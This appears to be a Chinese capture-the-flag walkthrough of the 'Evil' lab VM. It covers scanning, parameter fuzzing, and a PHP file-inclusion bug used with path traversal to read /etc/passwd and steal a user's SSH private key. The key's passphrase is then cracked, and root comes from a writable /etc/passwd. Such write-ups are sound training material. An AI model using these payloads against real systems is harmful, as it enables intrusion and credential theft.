Evil
1.主机发现
- 使用命令探测存活主机,80.139是kali的地址,所以靶机地址就是80.134
fping -gaq 192.168.80.0/24
2.端口扫描
- 开放80,22端口
nmap -Pn -sV -p- -A 192.168.80.134
3.信息收集
-
访问web界面
-
路径扫描
gobuster dir -u http://192.168.80.134 -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
-
访问robots.txt
-
访问/secret ,发现是空页面
-
继续对/secret进行路径扫描
gobuster dir -u http://192.168.80.134/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp
-
访问/evil.php,依然返回空页面
-
尝试对/evil.php的参数进行爆破,并没有探测出参数信息
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:KEY -w value.txt:VAL -u http://192.168.80.134/secret/evil.php?KEY=VAL -fs 0
-
尝试/evil.php是否存在文件包含,目前已知根目录下的robots.txt文件是真实存在的,所以尝试对其再次进行文件包含探测;发现一个command参数
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:DIR -u http://192.168.80.134/secret/evil.php?DIR=../robots.txt -fs 0
-
验证command参数是否真正存在文件包含
4.利用文件包含漏洞
-
读取/etc/passwd文件
-
使用PHP协议封装读取evil.php源文件
/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
-
对获得的字符串进行base64解码
<?php$filename = $_GET['command'];include($filename); ?>
-
尝试写入文件,内容为123的base64编码后的字符串
/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=glc.php&txt=MTIz
-
尝试访问刚才写入的文件,发现没有给文件,证明写入失败
5.尝试ssh登录
-
刚才我们发现没有文件写入权限,那我们就换个思路,还记得我们当时读取的/etc/passwd文件吗,自己研究一下发现了一个mowree用户,尝试对其进行ssh登录
-
我们发现mowree用户允许公钥和密码登录两种方式
ssh mowree@192.168.80.134 -v
-
那我们可以利用文件包含漏洞去读取mowree用户的公私钥文件
-
公钥文件,发现是rsa加密的
/secret/evil.php?command=../../../../../../home/mowree/.ssh/authorized_keys
-
私钥文件
/secret/evil.php?command=../../../../../../home/mowree/.ssh/id_rsa
-
-
查看网站源码,将私钥文件的内容复制到本地,并给文件赋予权限,尝试ssh登录,发现需要passphrase(ssh-key 的密语字符串)
-
对passphrase进行爆破
-
将id_rsa文件转换为john命令能够识别的文件
./ssh2john.py ~/id_rsa > ~/glc
-
使用john进行爆破,爆破成功,密码为unicorn
john glc --wordlist=/usr/share/wordlists/rockyou.txt
-
6.获得shell
-
ssh登录mowree用户
-
拿到第一个flag
7.提权
-
查看内核版本和发行版本
-
内核版本4.19.0-17;发行版本 Debian10
-
使用msf提权发现都提权失败了,有兴趣的可以自己试一下
-
换个思路,查看存在写权限的文件
find / -writable 2>/dev/null | grep -v proc
-
发现对/etc/passwd文件具有写权限,那么问题就变得简单了,直接修改文件中root账号的密码就可以啦
-
生成一个加密密码,密码为root
openssl passwd -1
-
尝试用修改的密码登录root账号,成功提权,获得第二个flag